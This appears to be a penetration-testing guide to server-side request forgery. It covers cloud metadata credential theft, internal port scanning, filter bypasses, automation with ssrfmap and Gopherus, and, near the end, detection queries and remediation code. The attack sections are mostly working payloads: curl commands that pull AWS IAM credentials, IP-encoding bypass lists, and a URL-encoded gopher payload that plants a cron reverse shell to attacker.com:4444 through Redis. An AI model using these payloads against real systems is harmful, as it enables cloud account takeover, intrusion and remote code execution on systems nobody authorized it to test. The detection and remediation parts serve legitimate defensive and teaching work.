
Server-Side Request Forgery (SSRF)
SSRF exploitation guide covering cloud metadata theft, internal port scanning, and blind SSRF with out-of-band detection.
Introduction
Server-Side Request Forgery abuses the trust boundary between the application server and its internal network. When an application accepts a user-supplied URL and makes a backend HTTP request to it — for webhooks, URL preview, PDF generation, image fetching, or API proxies — you can redirect that request to targets the server can reach but you cannot: cloud metadata services, internal databases, admin panels, and RFC1918 hosts sitting behind the firewall.
The reason SSRF is consistently critical in cloud-hosted apps is 169.254.169.254. AWS IMDSv1 requires no authentication and returns IAM role credentials with a single GET request. Those credentials can be used directly with the AWS CLI to pivot laterally into S3 buckets, SSM, Secrets Manager, and beyond. Azure and GCP expose equivalent endpoints. One SSRF vulnerability in an EC2-hosted app can compromise an entire AWS account.
Blind SSRF — where the response never reflects back — is still exploitable. Out-of-band DNS or HTTP callbacks confirm reachability, and timing differences during port scanning reveal open/closed ports on internal hosts without seeing a single byte of response content.
Authorization Required
SSRF techniques documented here must only be used against systems you own or have explicit written authorization to test. Exploiting SSRF against cloud metadata endpoints on production infrastructure without authorization violates the Computer Fraud and Abuse Act and equivalent laws. Bug bounty programs frequently have specific scoping rules around metadata endpoints — read them.
Impact
- Cloud credential theft: AWS IMDSv1 returns short-lived IAM role credentials without authentication; GCP and Azure equivalents exist
- Internal network enumeration: Probe RFC1918 hosts and ports the application server can reach, bypassing perimeter controls
- Data exfiltration from internal services: Read Redis keyspaces, Elasticsearch indexes, internal APIs with no public exposure
- Remote code execution via Gopher: Gopher:// scheme can deliver raw TCP payloads to Redis, Memcached, and SMTP, enabling unauthenticated command execution
- SSRF-to-RCE chains: Reach internal Jenkins, Kubernetes API server, or cloud metadata to obtain credentials for lateral movement
- Authentication bypass: Internal admin panels often trust requests from
127.0.0.1or internal IP ranges - Denial of service: Force the server to open connections to slow/non-responding hosts; connection pool exhaustion
Technical Details
Identify SSRF Entry Points
Any parameter that accepts a URL or hostname is a candidate. Common patterns:
GET /fetch?url=https://example.com
POST /webhook/test {"callback_url": "https://..."}
GET /render?src=https://example.com/img.png
POST /convert/pdf {"page": "https://..."}
GET /proxy?target=api.internal.com&path=/usersHeaders are also in scope: X-Forwarded-Host, X-Original-URL, Referer, custom headers processed by WAFs or load balancers. Check import/include directives in XML parsers (XXE-to-SSRF) and href in SVG files processed server-side.
Submit https://burpcollaborator.net/ or an interactsh payload as the URL value and watch for DNS/HTTP callbacks before proceeding.
Exploit AWS IMDSv1 Metadata
The most common high-severity SSRF finding. IMDSv1 requires no token header.
# List IAM roles attached to the instance
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Output: my-ec2-role
# Retrieve temporary credentials
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"{
"Code": "Success",
"LastUpdated": "2026-07-28T09:15:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoDYXdzEJr...",
"Expiration": "2026-07-28T15:15:00Z"
}export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoDYXdzEJr...
# Enumerate what this role can do
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name my-ec2-role
aws s3 ls
aws secretsmanager list-secretsOther high-value IMDSv1 paths:
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/user-data # Often contains secrets/bootstrap scripts
http://169.254.169.254/latest/meta-data/network/interfaces/macs/Azure and GCP Metadata
# Requires Metadata: true header — verify if the app forwards it or add via parameter injection
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Managed identity access token (equivalent to IAM role creds)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"# GCP uses a hostname alias resolvable from within the VM
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Enumerate all metadata
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/?recursive=true"Note: GCP and Azure require custom request headers (Metadata-Flavor: Google, Metadata: true). If the SSRF vector doesn't let you inject headers, these endpoints are unreachable unless the application forwards all headers or there is a redirect chain involved.
Internal Port Scanning
Time differences and response content distinguish open from closed/filtered ports. Closed TCP ports return Connection refused quickly; filtered ports time out; open ports may return banners or HTTP responses.
# Use Burp Intruder or ffuf to iterate ports
# Target: internal Elasticsearch on default port
for port in 9200 9300 6379 5432 3306 27017 8080 8443; do
curl -s "https://target.com/fetch?url=http://127.0.0.1:${port}" -o /dev/null -w "%{time_total} %{http_code}\n"
doneffuf -w /usr/share/seclists/Fuzzing/ports-top-1000.txt \
-u "https://target.com/proxy?url=http://127.0.0.1:FUZZ" \
-mc all \
-fs 0 \
-t 50Common internal services to target: Redis (6379), Elasticsearch (9200), Consul (8500), Kubernetes API (6443/8443), etcd (2379), internal HTTP admin panels (8080/8081/9090), Jenkins (8080), Grafana (3000).
Redis Exploitation via Gopher Scheme
The gopher:// URI scheme sends raw bytes over TCP. Redis has no authentication by default. You can write arbitrary data to disk or set a cron job.
# Write a webshell via Redis CONFIG SET dir + dbfilename + cron
# Raw Redis commands (RESP protocol):
# FLUSHALL
# SET 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
# CONFIG SET dir /var/spool/cron/
# CONFIG SET dbfilename root
# BGSAVE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%246%0D%0ABGSAVE%0D%0AUse Gopherus to generate these payloads without manual URL encoding:
python3 gopherus.py --exploit redis
# Select: RCE via cron
# Enter reverse shell IP and port
# Copy the generated gopher:// URL into the SSRF parameterFilter Bypass Techniques
Applications frequently try to block SSRF by checking if the URL resolves to an internal IP. Most of these checks are trivially bypassed.
# Dotted decimal → octal
http://0251.0254.0251.0254/ # 169.254.169.254 in octal
# Dotted decimal → hex
http://0xa9fea9fe/ # 169.254.169.254 in hex
http://0xa9.0xfe.0xa9.0xfe/
# Decimal (no dots)
http://2852039166/ # 169.254.169.254 as uint32
# IPv6 representations
http://[::ffff:169.254.169.254]/
http://[::ffff:a9fe:a9fe]/
# Loopback variants
http://0.0.0.0/ # Maps to 127.0.0.1 on Linux
http://[::]/
http://[::1]/
# URL-encoded @ to confuse host parser
http://attacker.com@127.0.0.1/
http://127.0.0.1#attacker.com
# DNS rebinding
# Point your domain to 1.2.3.4 initially (passes filter check)
# After TTL expires, re-point to 169.254.169.254
# Time the SSRF request to hit after rebindfile:///etc/passwd
dict://127.0.0.1:6379/info
sftp://attacker.com:11111/
ldap://127.0.0.1:389/Open redirects on trusted domains can serve as SSRF helpers when the allowlist checks the initial URL:
https://target.com/fetch?url=https://trusted-cdn.com/redirect?to=http://169.254.169.254/Attack Tools
Burp Suite Pro is the primary tool for both detecting and exploiting SSRF.
Detection with Collaborator:
- Send a request with a URL parameter to Burp Repeater
- Replace the URL value with a Burp Collaborator payload:
https://xyz.oastify.com - Send the request and check Collaborator for DNS/HTTP callbacks
- Confirm out-of-band interaction before attempting internal targets
Intruder for port scanning:
Target: https://app.target.com/fetch?url=http://127.0.0.1:§PORT§/
Payload type: Numbers (1–65535, step 1)
Grep match: "refused" / "timeout" to separate open from closedCollaborator Everywhere (extension): Automatically injects Collaborator payloads into all parameters across the entire proxy history. Essential for passive SSRF discovery during regular browsing of a target.
Match-and-Replace rules for testing AWS metadata:
Replace parameter value with: http://169.254.169.254/latest/meta-data/ssrfmap automates SSRF exploitation across multiple attack modules.
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip3 install -r requirements.txt# Save vulnerable request to a file first (Burp: Save item)
# Mark injection point with SSRF_URL placeholder
# Scan for cloud metadata
python3 ssrfmap.py -r request.txt -p url -m cloud_aws
# Internal port scan
python3 ssrfmap.py -r request.txt -p url -m portscan \
--lhost 10.0.0.1 --lport 4444
# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis \
--lhost attacker.com --lport 4444
# List all modules
python3 ssrfmap.py --list-modulesAvailable modules: cloud_aws, cloud_gcp, cloud_azure, redis, portscan, networkscan, axfr, sock5, ftp.
The -p flag specifies the vulnerable POST/GET parameter. For JSON bodies, use dot notation: -p data.callback.url.
interactsh (ProjectDiscovery) is the open-source alternative to Burp Collaborator for out-of-band SSRF detection.
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Or via binary release
wget https://github.com/projectdiscovery/interactsh/releases/latest/download/interactsh-client_linux_amd64.zip
unzip interactsh-client_linux_amd64.zipinteractsh-client
# Output:
# [INF] Listing on interactsh server
# [INF] c23b4f9a7e2c1.oast.pro# Submit the generated domain as the SSRF value
curl "https://target.com/fetch?url=http://c23b4f9a7e2c1.oast.pro/"
# interactsh-client will print:
# [c23b4f9a7e2c1] Received HTTP interaction from 203.0.113.45
# [c23b4f9a7e2c1] Received DNS interaction from 203.0.113.45nuclei -u https://target.com -t ssrf/ -iserver interactsh-client.oast.prointeractsh is useful in CI/CD pipelines and automated scanners where Burp Collaborator's GUI isn't practical. Self-host via interactsh-server for air-gapped environments.
Detection
SSRF is harder to detect at the network layer than most injection classes because the malicious request originates from a trusted internal host.
Server-side logs to monitor:
| Log Source | What to Look For |
|---|---|
| Application logs | Requests with url=, src=, callback= params pointing to RFC1918 or 169.254.x.x |
| AWS CloudTrail | GetCredentials events from EC2 instance metadata service without corresponding AssumeRole |
| VPC Flow Logs | EC2 instances making outbound connections to 169.254.169.254 from application ports |
| WAF logs | Blocked requests containing hex/octal IP encodings or gopher:// schemes |
| DNS logs | Queries for metadata.google.internal or rapid succession of internal hostname queries |
SIEM detection query (Splunk):
index=webapp_logs
| regex url="(169\.254\.169\.254|metadata\.google\.internal|169\.254\.169\.254)"
| stats count by src_ip, url, user_agent
| where count > 1AWS GuardDuty findings relevant to SSRF impact:
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS— credentials used from outside AWSDiscovery:IAMUser/AnomalousBehavior— unusual API calls with role credentials
Runtime detection — consider deploying a canary credential in SSM or Secrets Manager that is never legitimately accessed. An alert on any access to that credential indicates credential theft, potentially via SSRF.
Remediation
Network-level controls (highest priority):
- Block outbound connections from application servers to
169.254.169.254/32at the security group or NACLs level — this is a single rule that eliminates the most critical SSRF impact regardless of application code - Enforce egress filtering via security groups: application servers should only be able to reach explicitly required destinations, not the full internet or all internal hosts
Application-level controls:
import ipaddress
import socket
from urllib.parse import urlparse
ALLOWED_SCHEMES = {"https"}
ALLOWED_HOSTS = {"api.trusted.com", "cdn.trusted.com"}
def validate_url(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
if parsed.hostname not in ALLOWED_HOSTS:
return False
# Resolve and check for private IPs
try:
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except (socket.gaierror, ValueError):
return False
return True- Enforce IMDSv2 on all EC2 instances. IMDSv2 requires a PUT request to obtain a session token before GET requests work. This prevents SSRF-based metadata theft because the application's HTTP client won't automatically issue the required PUT:
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled{
"MetadataOptions": {
"HttpTokens": "required",
"HttpEndpoint": "enabled",
"HttpPutResponseHopLimit": 1
}
}- Disable unnecessary URI schemes in HTTP client libraries (
file://,gopher://,dict://,sftp://) — most HTTP clients support scheme restrictions - Resolve DNS before making the connection, validate the resolved IP, then connect directly to the IP (preventing DNS rebinding) — the "connect-via-IP" pattern
- Use a dedicated egress proxy for all outbound requests from backend services; the proxy enforces allowlists centrally
References
MITRE ATT&CK Techniques
- T1090.002 - Proxy: External Proxy
- T1552.004 - Unsecured Credentials: Private Keys
- T1078.004 - Valid Accounts: Cloud Accounts
Tools Documentation
- ssrfmap - Automated SSRF Fuzzer
- interactsh - Out-of-Band Interaction Server
- Gopherus - Gopher Payload Generator
- Burp Suite Collaborator Documentation
- AWS IMDSv2 Migration Guide
- OWASP SSRF Prevention Cheat Sheet
Next Steps
SQL Injection: Complete Attack Guide
SQL injection attacks including detection, exploitation, bypass techniques, and remediation for web application penetration testing.
TLS / SSL information leakage
How TLS/SSL misconfiguration and implementation flaws can leak sensitive information and allow MitM, session hijack, or credential theft detection and remediation guidance.